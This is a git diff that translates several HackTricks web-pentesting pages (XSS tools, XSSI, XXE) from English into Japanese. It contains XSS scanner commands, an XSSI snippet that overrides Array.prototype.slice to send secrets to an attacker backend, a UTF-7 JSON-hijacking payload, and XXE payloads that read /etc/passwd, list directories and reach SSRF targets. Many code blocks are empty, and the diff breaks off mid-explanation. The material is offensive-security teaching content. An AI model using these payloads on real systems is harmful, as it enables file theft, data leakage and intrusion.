+1,65 @@ -# XSS Tools +# XSSツール
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
## XSStrike - ```bash git clone https://github.com/s0md3v/XSStrike.git cd XSStrike pip install -r requirements.txt python xsstrike.py -python xsstrike.py -u "http://SERVER_IP:PORT/index.php?task=test" +python xsstrike.py -u "http://SERVER_IP:PORT/index.php?task=test" ``` +**基本的な使用方法(Get):** +python3 xsstrike.py --headers -u "http://localhost/vulnerabilities/xss\_r/?name=asd" -**Basic Usage(Get):**\ -python3 xsstrike.py --headers -u "http://localhost/vulnerabilities/xss\_r/?name=asd"\ -**Basic Usage(Post):**\ -python xsstrike.py -u "http://example.com/search.php" --data "q=query"\ -**Crawling(depth=2 default):**\ -python xsstrike.py -u "http://example.com/page.php" --crawl -l 3\ -**Find hidden parameters:**\ -python xsstrike.py -u "http://example.com/page.php" --params\ -**Extra:**\ -\--headers #Set custom headers (like cookies). It is necessary to set every time\ -\--skip-poc\ -\--skip-dom #Skip DOM XSS scanning +**基本的な使用方法(Post):** +python xsstrike.py -u "http://example.com/search.php" --data "q=query" + +**クローリング(デフォルトで深さ2):** +python xsstrike.py -u "http://example.com/page.php" --crawl -l 3 + +**隠れたパラメータを見つける:** +python xsstrike.py -u "http://example.com/page.php" --params + +**追加オプション:** +\--headers #カスタムヘッダーを設定します(クッキーなど)。毎回設定する必要があります。 +\--skip-poc +\--skip-dom #DOM XSSスキャンをスキップします ## BruteXSS - ``` git clone https://github.com/rajeshmajumdar/BruteXSS ``` - -Tool to find vulnerable (GET or POST) parameter to XSS using a list of payloads with a GUI.\ -Custom headers (like cookies) can not be configured. +XSSCrapyは、GUIを使用してXSSの脆弱な(GETまたはPOST)パラメータを見つけるためのペイロードのリストを使用するツールです。\ +カスタムヘッダー(クッキーなど)は設定できません。 ## XSSer [https://github.com/epsylon/xsser](https://github.com/epsylon/xsser)\ -Already installed in Kali.\ -Complete tool to find XSS. +Kaliにはすでにインストールされています。\ +XSSを見つけるための完全なツールです。 -**Basic Usage(Get):**\ +**基本的な使用方法(GET):**\ \ -The tool doesnt send the payload:( +ツールはペイロードを送信しません:( ## XSSCrapy - ``` git clone https://github.com/DanMcInerney/xsscrapy ``` - -Not recommended. A lot of unnecessary output, and it doesn\`t work properly. +おすすめしません。不必要な出力が多く、正常に動作しません。 ## Dalfox @@ -71,10 +69,10 @@ Not recommended. A lot of unnecessary output, and it doesn\`t work properly. ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 diff --git a/pentesting-web/xssi-cross-site-script-inclusion.md b/pentesting-web/xssi-cross-site-script-inclusion.md index 2a42221da..54b452b97 100644 --- a/pentesting-web/xssi-cross-site-script-inclusion.md +++ b/pentesting-web/xssi-cross-site-script-inclusion.md @@ -1,124 +1,110 @@ -# XSSI (Cross-Site Script Inclusion) +# XSSI(クロスサイトスクリプトインクルージョン)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-#### The information was taken from [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414) +#### 情報は[https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414)から取得されました。 -## Basic Information +## 基本情報 -XSSI designates a kind of vulnerability which exploits the fact that, when a **resource is included using the `script` tag, the SOP doesn’t apply**, because scripts have to be able to be included cross-domain. An attacker can thus **read everything** that was included using the **`script` tag**. +XSSIは、**`script`タグを使用してリソースをインクルードする場合、SOPが適用されない**という事実を利用した脆弱性を指します。スクリプトはクロスドメインでインクルードできる必要があるため、攻撃者は**`script`タグ**を使用してインクルードされたすべての情報を**読み取る**ことができます。 -This is especially interesting when it comes to dynamic JavaScript or JSONP when so-called ambient-authority information like cookies are used for authentication. The cookies are included when requesting a resource from a different host. +これは特に、動的なJavaScriptやJSONPの場合に興味深いです。これらでは、クッキーなどの環境権限情報が認証に使用されます。クッキーは、異なるホストからリソースを要求する際に含まれます。 -### Types +### タイプ -1. Static JavaScript (regular XSSI) -2. Static JavaScript, which is only accessible when authenticated -3. Dynamic JavaScript -4. Non-JavaScript +1. 静的なJavaScript(通常のXSSI) +2. 認証された場合にのみアクセス可能な静的なJavaScript +3. 動的なJavaScript +4. 非JavaScript -## Regular XSSI - -The private information is located inside a global accessible JS file, you can just detect this by reading files, searching keywords or using regexps.\ -To exploit this, just include the script with private information inside the malicious content: +## 通常のXSSI +プライベート情報は、グローバルにアクセス可能なJSファイル内にあります。ファイルを読み取ったり、キーワードを検索したり、正規表現を使用してこれを検出することができます。\ +これを悪意のあるコンテンツ内に含まれるプライベート情報のスクリプトとしてインクルードするだけで、これを悪用することができます。 ```markup ``` +## Dynamic-JavaScript-based-XSSIとAuthenticated-JavaScript-XSSI -## Dynamic-JavaScript-based-XSSI and Authenticated-JavaScript-XSSI - -**Confidential information is added to the script when a user requests it**. This can be easily discovered by sending the request **with and without the cookies**, if **different information** is retrieved, then confidential information could be contained. To do this automatically you can use burp extension: [https://github.com/luh2/DetectDynamicJS](https://github.com/luh2/DetectDynamicJS). - -If the information resides inside a global variable, you you can exploit it using the same code as for the the previous case.\ -If the confidential data is sent inside a JSONP response, you can override the executed function to retrieve the information: +**ユーザーがリクエストすると、スクリプトに機密情報が追加されます**。これは、リクエストを**クッキーありとクッキーなしで送信**することで簡単に発見できます。異なる情報が取得される場合、機密情報が含まれている可能性があります。これを自動的に行うには、burp拡張機能を使用できます:[https://github.com/luh2/DetectDynamicJS](https://github.com/luh2/DetectDynamicJS)。 +もし情報がグローバル変数内に存在する場合、前述のケースと同じコードを使用してそれを悪用することができます。\ +もし機密データがJSONPレスポンス内に送信される場合、実行される関数を上書きして情報を取得することができます: ```markup ``` - -Or you could also set a prepared function to be executed by the JSONP response: - +また、JSONPレスポンスによって実行される準備された関数を設定することもできます。 ```markup ``` - -If a variable does not reside inside the global namespace, sometimes this can be exploited anyway using _prototype tampering_. Prototype tampering abuses the design of JavaScript, namely that when interpreting code, JavaScript traverses the prototype chain to find the called property. The following example is extracted from the paper [The Unexpected Dangers of Dynamic JavaScript](https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-lekies.pdf) and demonstrates how overriding a relevant function of type `Array` and access to `this`, a non-global variable can be leaked as well. - +もし変数がグローバルな名前空間に存在しない場合、_prototype tampering_を使用してそれを悪用することができることがあります。Prototype tamperingはJavaScriptの設計を悪用しており、具体的にはコードを解釈する際にJavaScriptがプロトタイプチェーンをたどって呼び出されたプロパティを見つけるという仕組みを利用しています。以下の例は、[The Unexpected Dangers of Dynamic JavaScript](https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-lekies.pdf)という論文から抜粋されたもので、`Array`型の関連する関数を上書きし、`this`にアクセスすることで、非グローバルな変数が漏洩する様子を示しています。 ```javascript (function(){ - var arr = ["secret1", "secret2", "secret3"]; - // intents to slice out first entry - var x = arr.slice(1); - ... +var arr = ["secret1", "secret2", "secret3"]; +// intents to slice out first entry +var x = arr.slice(1); +... })(); ``` - -In the original code `slice` from type `Array` accesses the data we’re interested in. An attacker can, as described in the preceding clause, override `slice` and steal the secrets. - +オリジナルのコードでは、`Array`型の`slice`が私たちが興味を持っているデータにアクセスしています。攻撃者は、前述の節で説明したように、`slice`を上書きして秘密情報を盗むことができます。 ```javascript Array.prototype.slice = function(){ - // leaks ["secret1", "secret2", "secret3"] - sendToAttackerBackend(this); +// leaks ["secret1", "secret2", "secret3"] +sendToAttackerBackend(this); }; ``` - -Security Researcher [Sebastian Lekies](https://twitter.com/slekies) just recently updated his list of [vectors](http://sebastian-lekies.de/leak/). +セキュリティ研究者の[Sebastian Lekies](https://twitter.com/slekies)は最近、[ベクトル](http://sebastian-lekies.de/leak/)のリストを更新しました。 ## Non-Script-XSSI -Takeshi Terada describes another kind of XSSI in his paper [Identifier based XSSI attacks](https://www.mbsd.jp/Whitepaper/xssi.pdf). He was able to leak Non-Script files cross-origin by including, among others, CSV files as source in the `script` tag, using the data as variable and function names. +Takeshi Teradaは、彼の論文[Identifier based XSSI attacks](https://www.mbsd.jp/Whitepaper/xssi.pdf)で別の種類のXSSIを説明しています。彼は、`script`タグでソースとしてCSVファイルを含め、データを変数や関数名として使用することで、Non-Scriptファイルをクロスオリジンで漏洩させることができました。 -The first publicly documented XSSI attack was in 2006. Jeremiah Grossman’s blog entry [Advanced Web Attack Techniques using GMail](http://jeremiahgrossman.blogspot.ch/2006/01/advanced-web-attack-techniques-using.html) depicts a XSSI, which by overriding the `Array` constructor was able to read the complete address book of a google account. +最初に公に文書化されたXSSI攻撃は2006年に行われました。Jeremiah Grossmanのブログ記事[Advanced Web Attack Techniques using GMail](http://jeremiahgrossman.blogspot.ch/2006/01/advanced-web-attack-techniques-using.html)では、`Array`コンストラクタをオーバーライドすることで、Googleアカウントの完全なアドレス帳を読み取ることができるXSSIが描かれています。 -In 2007 Joe Walker published [JSON is not as safe as people think it is](http://incompleteness.me/blog/2007/03/05/json-is-not-as-safe-as-people-think-it-is/). He uses the same idea to steal JSON that is inside an `Array`. +2007年には、Joe Walkerが[JSON is not as safe as people think it is](http://incompleteness.me/blog/2007/03/05/json-is-not-as-safe-as-people-think-it-is/)を公開しました。彼は、`Array`内にあるJSONを盗むために同じアイデアを使用しています。 -Other related attacks were conducted by injecting UTF-7 encoded content into the JSON to escape the JSON format. It is described by Gareth Heyes, author of [Hackvertor](https://hackvertor.co.uk/public), in the blog entry [JSON Hijacking](http://www.thespanner.co.uk/2011/05/30/json-hijacking/) released in 2011. In a quick test, this was still possible in Microsoft Internet Explorer and Edge, but not in Mozilla Firefox or Google Chrome. - -JSON with UTF-7: +関連する他の攻撃では、JSONにUTF-7エンコードされたコンテンツを注入してJSON形式をエスケープすることが行われました。これは、[Hackvertor](https://hackvertor.co.uk/public)の作者であるGareth Heyesによって2011年に公開されたブログ記事[JSON Hijacking](http://www.thespanner.co.uk/2011/05/30/json-hijacking/)で説明されています。クイックテストでは、これはMicrosoft Internet ExplorerとEdgeではまだ可能でしたが、Mozilla FirefoxやGoogle Chromeでは不可能でした。 +UTF-7を使用したJSON: ```javascript [{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}] ``` - -Including the JSON in the attacker’s page - +攻撃者のページにJSONを含める ```markup ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/pentesting-web/xxe-xee-xml-external-entity.md b/pentesting-web/xxe-xee-xml-external-entity.md index 8e8fac0e8..301076786 100644 --- a/pentesting-web/xxe-xee-xml-external-entity.md +++ b/pentesting-web/xxe-xee-xml-external-entity.md @@ -1,122 +1,110 @@ -# XXE - XEE - XML External Entity +# XXE - XEE - XML外部エンティティ
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-An XML External Entity attack is a type of attack against an application that parses XML input. +XML外部エンティティ攻撃は、XML入力を解析するアプリケーションに対する攻撃の一種です。 -## XML Basics +## XMLの基礎 -**Most of this part was taken from this amazing Portswigger page:** [**https://portswigger.net/web-security/xxe/xml-entities**](https://portswigger.net/web-security/xxe/xml-entities) +**この部分のほとんどは、この素晴らしいPortswiggerのページから取得されました:** [**https://portswigger.net/web-security/xxe/xml-entities**](https://portswigger.net/web-security/xxe/xml-entities) -### What is XML? +### XMLとは? -XML stands for "extensible markup language". XML is a language designed for storing and transporting data. Like HTML, XML uses a tree-like structure of tags and data. Unlike HTML, XML does not use predefined tags, and so tags can be given names that describe the data. Earlier in the web's history, XML was in vogue as a data transport format (the "X" in "AJAX" stands for "XML"). But its popularity has now declined in favor of the JSON format. +XMLは「拡張可能なマークアップ言語」の略です。XMLはデータの保存と輸送のために設計された言語です。HTMLと同様に、XMLはタグとデータのツリー構造を使用します。ただし、HTMLとは異なり、XMLは事前に定義されたタグを使用せず、タグにはデータを説明する名前が付けられます。ウェブの歴史の初期には、XMLはデータ輸送形式として流行していました(「AJAX」の「X」は「XML」を表しています)。しかし、その人気は現在、JSON形式に傾いています。 -### What are XML entities? +### XMLエンティティとは? -XML entities are a way of representing an item of data within an XML document, instead of using the data itself. Various entities are built in to the specification of the XML language. For example, the entities `<` and `>` represent the characters `<` and `>`. These are metacharacters used to denote XML tags, and so must generally be represented using their entities when they appear within data. +XMLエンティティは、データそのものを使用する代わりに、XMLドキュメント内のデータ項目を表現する方法です。さまざまなエンティティは、XML言語の仕様に組み込まれています。たとえば、エンティティ`<`と`>`は、文字`<`と`>`を表します。これらはXMLタグを示すメタ文字であり、データ内に表示される場合は通常、エンティティを使用して表現する必要があります。 -### What are XML elements? +### XML要素とは何ですか? -Element type declarations set the rules for the type and number of elements that may appear in an XML document, what elements may appear inside each other, and what order they must appear in. For example: +要素タイプの宣言は、XMLドキュメントに表示できる要素のタイプと数、および要素がお互いに表示できるか、表示する順序を設定します。たとえば: -* `` Means that any object could be inside the parent `` -* \ Means that it should be empty `` -* \ Declares that `` can have the children `` and `` +* ``は、親の``内に任意のオブジェクトが含まれる可能性を示します。 +* ``は、空である必要があることを意味します`` +* ``は、``に``と``の子要素を持つことを宣言します。 -### What is document type definition? +### ドキュメントタイプ定義とは何ですか? -The XML document type definition (DTD) contains declarations that can define the structure of an XML document, the types of data values it can contain, and other items. The DTD is declared within the optional `DOCTYPE` element at the start of the XML document. The DTD can be fully self-contained within the document itself (known as an "internal DTD") or can be loaded from elsewhere (known as an "external DTD") or can be hybrid of the two. +XMLドキュメントタイプ定義(DTD)には、XMLドキュメントの構造、含めることができるデータ値のタイプ、およびその他の項目を定義できる宣言が含まれています。DTDはXMLドキュメントの先頭にあるオプションの`DOCTYPE`要素内で宣言されます。DTDはドキュメント自体に完全に含まれることができます(「内部DTD」として知られる)または他の場所からロードされることができます(「外部DTD」として知られる)またはその両方のハイブリッドであることができます。 -### What are XML custom entities? +### XMLカスタムエンティティとは何ですか? -XML allows custom entities to be defined within the DTD. For example: +XMLでは、DTD内でカスタムエンティティを定義することができます。たとえば: ` ]>` -This definition means that any usage of the entity reference `&myentity;` within the XML document will be replaced with the defined value: "`my entity value`". +この定義は、XMLドキュメント内でエンティティ参照`&myentity;`が使用される場合、定義された値「`my entity value`」で置き換えられることを意味します。 -### What are XML external entities? +### XML外部エンティティとは何ですか? -XML external entities are a type of custom entity whose definition is located outside of the DTD where they are declared. +XML外部エンティティは、宣言されたDTDの外部に定義されたカスタムエンティティの一種です。 -The declaration of an external entity uses the `SYSTEM` keyword and must specify a URL from which the value of the entity should be loaded. For example: +外部エンティティの宣言では、`SYSTEM`キーワードを使用し、エンティティの値をロードするURLを指定する必要があります。たとえば: ` ]>` -The URL can use the `file://` protocol, and so external entities can be loaded from file. For example: +URLは`file://`プロトコルを使用できるため、外部エンティティはファイルからロードできます。たとえば: ` ]>` -XML external entities provide the primary means by which [XML external entity attacks](https://portswigger.net/web-security/xxe) arise. +XML外部エンティティは、[XML外部エンティティ攻撃](https://portswigger.net/web-security/xxe)が発生する主な手段を提供します。 -### What are XML Parameter entities? +### XMLパラメータエンティティとは何ですか? -Sometimes, XXE attacks using regular entities are blocked, due to some input validation by the application or some hardening of the XML parser that is being used. In this situation, you might be able to use XML parameter entities instead. XML parameter entities are a special kind of XML entity which can only be referenced elsewhere within the DTD. For present purposes, you only need to know two things. First, the declaration of an XML parameter entity includes the percent character before the entity name: +場合によっては、アプリケーションの入力検証や使用されているXMLパーサの強化により、通常のエンティティを使用したXXE攻撃がブロックされることがあります。このような状況では、XMLパラメータエンティティを代わりに使用できる場合があります。XMLパラメータエンティティは、DTD内の他の場所でのみ参照できる特別な種類のXMLエンティティです。現在の目的では、2つのことだけ知っておく必要があります。まず、XMLパラメータエンティティの宣言には、エンティティ名の前にパーセント記号が含まれます: `` -And second, parameter entities are referenced using the percent character instead of the usual ampersand: `%myparameterentity;` +そして、パラメータエンティティは通常のアンパサンドの代わりにパーセント記号を使用して参照されます:`%myparameterentity;` -This means that you can test for blind XXE using out-of-band detection via XML parameter entities as follows: +これに +## メイン攻撃 -` %xxe; ]>` +[これらの攻撃のほとんどは、素晴らしいPortswiggers XEEラボを使用してテストされました:https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) -This XXE payload declares an XML parameter entity called `xxe` and then uses the entity within the DTD. This will cause a DNS lookup and HTTP request to the attacker's domain, verifying that the attack was successful. - -## Main attacks - -[Most of these attacks were tested using the awesome Portswiggers XEE labs: https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) - -### New Entity test - -In this attack I'm going to test if a simple new ENTITY declaration is working +### 新しいエンティティのテスト +この攻撃では、単純な新しいエンティティの宣言が機能するかどうかをテストします。 ```markup ]> - &toreplace; - 1 +&toreplace; +1 ``` - ![](<../.gitbook/assets/image (220).png>) -### Read file +### ファイルの読み取り -Lets try to read `/etc/passwd` in different ways. For Windows you could try to read: `C:\windows\system32\drivers\etc\hosts` - -In this first case notice that SYSTEM "_\*\*file:///\*\*etc/passwd_" will also work. +さまざまな方法で`/etc/passwd`を読み取ってみましょう。Windowsの場合は、`C:\windows\system32\drivers\etc\hosts`を読み取ることができます。 +最初の場合では、SYSTEM "_\*\*file:///\*\*etc/passwd_"も機能することに注意してください。 ```markup ]> &example; ``` - ![](<../.gitbook/assets/image (221).png>) -This second case should be useful to extract a file if the web server is using PHP (Not the case of Portswiggers labs) - +この2番目のケースは、ウェブサーバーがPHPを使用している場合にファイルを抽出するのに役立ちます(Portswiggers labsの場合ではありません) ```markup ]> &example; ``` - -In this third case notice we are declaring the `Element stockCheck` as ANY - +この第3のケースでは、`Element stockCheck`をANYとして宣言していることに注意してください。 ```markup ]> - &file; - 1 +&file; +1 ``` - ![](<../.gitbook/assets/image (222) (1).png>) -### Directory listing - -In **Java** based applications it might be possible to **list the contents of a directory** via XXE with a payload like (just asking for the directory instead of the file): +### ディレクトリリスト +**Java**ベースのアプリケーションでは、次のようなペイロードを使用して、XXEを介してディレクトリの内容をリストアップすることができる場合があります(ファイルではなくディレクトリを要求するだけです): ```markup ]>&xxe; @@ -142,253 +128,223 @@ In **Java** based applications it might be possible to **list the contents of a ]>&xxe; ``` - ### SSRF -An XXE could be used to abuse a SSRF inside a cloud - +XXEを使用して、クラウド内のSSRFを悪用することができます。 ```markup ]> &xxe;1 ``` - ### Blind SSRF -Using the **previously commented technique** you can make the server access a server you control to show it's vulnerable. But, if that's not working, maybe is because **XML entities aren't allowed**, in that case you could try using **XML parameter entities**: - +以前にコメントされたテクニックを使用すると、サーバーが脆弱性を示すために制御するサーバーにアクセスできます。しかし、それがうまくいかない場合は、おそらく**XMLエンティティが許可されていない**ためです。その場合、**XMLパラメータエンティティ**を使用してみることができます。 ```markup %xxe; ]> 3;1 ``` +### "Blind" SSRF - データの外部への漏洩 -### "Blind" SSRF - Exfiltrate data out-of-band - -**In this occasion we are going to make the server load a new DTD with a malicious payload that will send the content of a file via HTTP request (for multi-line files you could try to ex-filtrate it via** _**ftp://**_**). This explanation as taken from** 